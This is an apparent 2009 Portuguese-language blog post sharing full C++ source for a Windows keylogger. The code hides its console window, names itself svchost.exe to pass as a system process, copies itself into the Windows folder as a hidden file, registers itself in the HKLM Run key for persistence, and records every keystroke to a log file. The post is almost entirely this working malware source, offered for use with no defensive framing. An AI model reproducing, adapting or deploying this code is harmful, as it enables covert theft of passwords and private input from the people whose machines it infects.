Keylooger feito em c++
Autor: Lameck | Publicado: 2009-09-02T06:19:00-07:00

int caps; //variavel int caps para verificar CAPS-LOCKvoid ativar_shift(); // funcao logar_shift para logar quando shift estiver pressionadovoid ativar_minusculas(); // funcao logar_min para logar quando for letras minusculasvoid ativar_maiusculas(); // funcao logar_mai para logar letras maiusculasvoid main(int argc, char *argv[]){    SetConsoleTitle("svchost.exe");  //muda o titulo do console para svchost.exe    HWND janela = FindWindow(NULL,"svchost.exe"); //procura pela janela com o nome de svchost.exe    ShowWindow(janela, SW_HIDE);     //SH_HIDE para esconder a janela    RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key);     RegSetValueEx(key,"",0,1,(LPBYTE)"C:\\WINDOWS\\svchost.exe",22);  //adiciona o keylogger no registro do win    strcpy(caminho,argv[0]);   //copia o diretorio aonde foi executado o keylogger para o char caminho    CopyFile(caminho,"c:\\windows\\svchost.exe",0);  //copia o arquivo para pasta do windows    SetFileAttributes("c:\\windows\\svchost.exe", FILE_ATTRIBUTE_HIDDEN); //oculta o arquivo    fp = fopen("c:/windows/web/log.htm","a");  //cria um arquivo de log onde vai ficar salvo as teclas digitadas    fprintf(fp, " ");    while(1)    {                          if(GetAsyncKeyState(13)==-32767) // 13 == ENTER            fprintf(fp,"  "); //esse foi o motivo de criar em html pois qdo derem enter ele vai pular uma linha no arquivo de log                             if(GetAsyncKeyState(0x10)) // Verifica se SHIFT esta pressionado                {                 ativar_shift(); // chama função logar_shift                }                                caps = GetKeyState(0x14); // verifica se CAPS-LOCK esta pressionado, se sim 1, senão 0                                 switch(caps) //  loop switch para caps                {                 case 0: // caso 0                       ativar_minusculas();                 break;                                  case 1: // caso 1                      ativar_maiusculas();                  break;                }                       if(GetAsyncKeyState(0x20)==-32767) // 0x20 -> tecla space                fprintf(fp," "); // escreve no arquivo                                if(GetAsyncKeyState(8)==-32767) // tecla backspace                fprintf(fp,"[BackSpace]");// escreve no arquivo                                if(GetAsyncKeyState(96)==-32767)// tecla 0                fprintf(fp,"0"); // escreve no arquivo                                if(GetAsyncKeyState(97)==-32767) // tecla 1                fprintf(fp,"1");  // escreve no arquivo                                if(GetAsyncKeyState(98)==-32767) // tecla 2                fprintf(fp,"2");  // escreve no arquivo                                if(GetAsyncKeyState(99)==-32767) // tecla 3                fprintf(fp,"3"); // escreve no arquivo                                if(GetAsyncKeyState(100)==-32767) // tecla 4                fprintf(fp,"4"); // escreve no arquivo                                if(GetAsyncKeyState(101)==-32767) // tecla 5                 fprintf(fp,"5"); // escreve no arquivo                                if(GetAsyncKeyState(102)==-32767) // tecla 6                fprintf(fp,"6"); // escreve no arquivo                                if(GetAsyncKeyState(103)==-32767) // tecla 7                fprintf(fp,"7");  // escreve no arquivo                                if(GetAsyncKeyState(104)==-32767) // teclar 8                fprintf(fp,"8"); // escreve no arquivo                                if(GetAsyncKeyState(105)==-32767)// tecla 9                fprintf(fp,"9"); // escreve no arquivo                                 if(GetAsyncKeyState(48)==-32767)// tecla 0                fprintf(fp,"0"); // escreve no arquivo                                if(GetAsyncKeyState(49)==-32767) // tecla 1                fprintf(fp,"1");  // escreve no arquivo                                if(GetAsyncKeyState(50)==-32767) // tecla 2                fprintf(fp,"2");  // escreve no arquivo                                if(GetAsyncKeyState(51)==-32767) // tecla 3                fprintf(fp,"3"); // escreve no arquivo                                if(GetAsyncKeyState(52)==-32767) // tecla 4                fprintf(fp,"4"); // escreve no arquivo                                if(GetAsyncKeyState(53)==-32767) // tecla 5                 fprintf(fp,"5"); // escreve no arquivo                                if(GetAsyncKeyState(54)==-32767) // tecla 6                fprintf(fp,"6"); // escreve no arquivo                                if(GetAsyncKeyState(55)==-32767) // tecla 7                fprintf(fp,"7");  // escreve no arquivo                                if(GetAsyncKeyState(56)==-32767) // teclar 8                fprintf(fp,"8"); // escreve no arquivo                                if(GetAsyncKeyState(57)==-32767)// tecla 9                fprintf(fp,"9"); // escreve no arquivo                                if(GetAsyncKeyState(187)==-32767)// simbolo = ( igual )                fprintf(fp,"="); // escreve no arquivo                                if(GetAsyncKeyState(189)==-32767) // simbolo - ( hifem )                fprintf(fp,"-");  // escreve no arquivo                                if(GetAsyncKeyState(191)==-32767) // simbolo ; ( ponto e virgula )                fprintf(fp,";");  // escreve no arquivo                                if(GetAsyncKeyState(188)==-32767) // simbolo , ( virgula )                fprintf(fp,",");  // escreve no arquivo                                if(GetAsyncKeyState(190)==-32767) // simbolo . ( ponto )                fprintf(fp,".");  // escreve no arquivo                                                if(GetAsyncKeyState(193)==-32767) // simbolo / ( barra )                fprintf(fp,"/");  // escreve no arquivo                                if(GetAsyncKeyState(192)==-32767) //simbolo ' ( aspas simples )                fprintf(fp,"'"); // escreve no arquivo                                if(GetAsyncKeyState(9)==-32767) // tecla TAB                 fprintf(fp,"[TAB]");  // escreve no arquivo                                if(GetAsyncKeyState(219)==-32767)// acento agudo xD                fprintf(fp,"?"); // escreve no arquivo                                if(GetAsyncKeyState(222)==-32767) // acento sei la o que, ? o tiozinho =D                fprintf(fp,"~"); // escreve no arquivo                                if(GetAsyncKeyState(220)==-32767) //  conchetes pra la ( <- )                fprintf(fp,"]");  // escreve no arquivo                                if(GetAsyncKeyState(221)==-32767) // conchetes pra ca ( -> )                fprintf(fp,"["); // escreve no arquivo                                if(GetAsyncKeyState(27)==-32767) // tecla ESC                fprintf(fp,"[ESC]"); // escreve no arquivo                              if(GetAsyncKeyState(112)==-32767) // tecla F1                fprintf(fp,"[F1]"); // escreve no arquivo                                if(GetAsyncKeyState(113)==-32767) // tecla F2                 fprintf(fp,"[F2]"); // escreve no arquivo                                if(GetAsyncKeyState(114)==-32767)// tecla F3                fprintf(fp,"[F3]"); // escreve no arquivo                                if(GetAsyncKeyState(115)==-32767) // tecla F4                fprintf(fp,"[F4]"); // escreve no arquivo                                if(GetAsyncKeyState(116)==-32767) // tecla F5                fprintf(fp,"[F5]"); // escreve no arquivo                                if(GetAsyncKeyState(117)==-32767)// tecla f6                fprintf(fp,"[F6]"); // escreve no arquivo                                if(GetAsyncKeyState(118)==-32767)// tecla F7                fprintf(fp,"[F7]"); // escreve no arquivo                                if(GetAsyncKeyState(119)==-32767)// tecla f8                fprintf(fp,"[F8]");  // escreve no arquivo                                if(GetAsyncKeyState(120)==-32767) // tecla F9                fprintf(fp,"[F9]"); // escreve no arquivo                                if(GetAsyncKeyState(121)==-32767) // tecla F10                fprintf(fp,"[F10]"); // escreve no arquivo                                if(GetAsyncKeyState(122)==-32767)// tecla F11                fprintf(fp,"[F11]"); // escreve no arquivo                                if(GetAsyncKeyState(123)==-32767)// tecla F12                fprintf(fp,"[F12]"); // escreve no arquivo                                if(GetAsyncKeyState(46)==-32767) // tecla [delete]                fprintf(fp,"[delete]"); // escreve no arquivo                                if(GetAsyncKeyState(35)==-32767)// tecla [END]                fprintf(fp,"[end]"); // escreve no arquivo                }};                void ativar_shift() // funcao logar shift{     extern int caps; // variavel caps, externa (global)     for(int x=48;x<=57;x++) // loop for, 48 - 57     {      if(GetAsyncKeyState(x)==-32767) // pega a tecla pressionada se for numeros( simbolos )      {        switch(x) // loop switch para x        {                                   case 48:                     fprintf(fp,")");                break;                                case 49:                     fprintf(fp,"!");                break;                                case 50:                     fprintf(fp,"@");                break;                                case 51:                     fprintf(fp,"#");                break;                                case 52:                     fprintf(fp,"$");                break;                                case 53:                     fprintf(fp,"%%");                break;                                case 54:                     fprintf(fp,"?");                break;                                case 55:                     fprintf(fp,"&");                break;                                case 56:                     fprintf(fp,"*");                break;                                case 57:                     fprintf(fp,"(");                break;                        }       }     }     if(GetAsyncKeyState(191)==-32767) // tecla :      fprintf(fp,":"); // escreve no arquivo          if(GetAsyncKeyState(188)==-32767) // tecla <     fprintf(fp,"<"); // escreve no arquivo          if(GetAsyncKeyState(190)==-32767)// tecla  >     fprintf(fp,">"); // escreve no arquivo          if(GetAsyncKeyState(193)==-32767) // tecla ?     fprintf(fp,"?");  // escreve no arquivo          if(GetAsyncKeyState(192)==-32767)// tecla "     fprintf(fp,"\""); // escreve no arquivo          if(GetAsyncKeyState(219)==-32767)// tecla `     fprintf(fp,"`"); // escreve no arquivo          if(GetAsyncKeyState(222)==-32767)// tecla  ^     fprintf(fp,"^"); // escreve no arquivo          if(GetAsyncKeyState(220)==-32767)// tecla }     fprintf(fp,"}"); // escreve no arquivo          if(GetAsyncKeyState(221)==-32767)// tecla {     fprintf(fp,"{"); // escreve no arquivo          caps = GetKeyState(0x14); // pega estado de CAPS-LOCK            switch(caps)// verifica se caps est? ligado       {                case 0: // caso DESLIGAdo             ativar_maiusculas(); // loga MAIUSCULA        break;                case 1: // caso LIGADO              ativar_minusculas();// loga MINUSCULA        break;       }         };void ativar_minusculas() // logar minusculas{     for(int x=65;x<=90;x++) // loop de 65 - 90     {      if(GetAsyncKeyState(x)==-32767) // verifica tecla      {       fprintf(fp,"%c",x+32); // escreve no arquivo      }     }};void ativar_maiusculas()// logar maiusculas{     for(int x=65;x<=90;x++) // loop de 65 - 90     {      if(GetAsyncKeyState(x)==-32767)// verifica tecla      {       fprintf(fp,"%c",x); // escreve no arquivo      }     }};vou aproveitar tambem pra tirar uma duvida minha...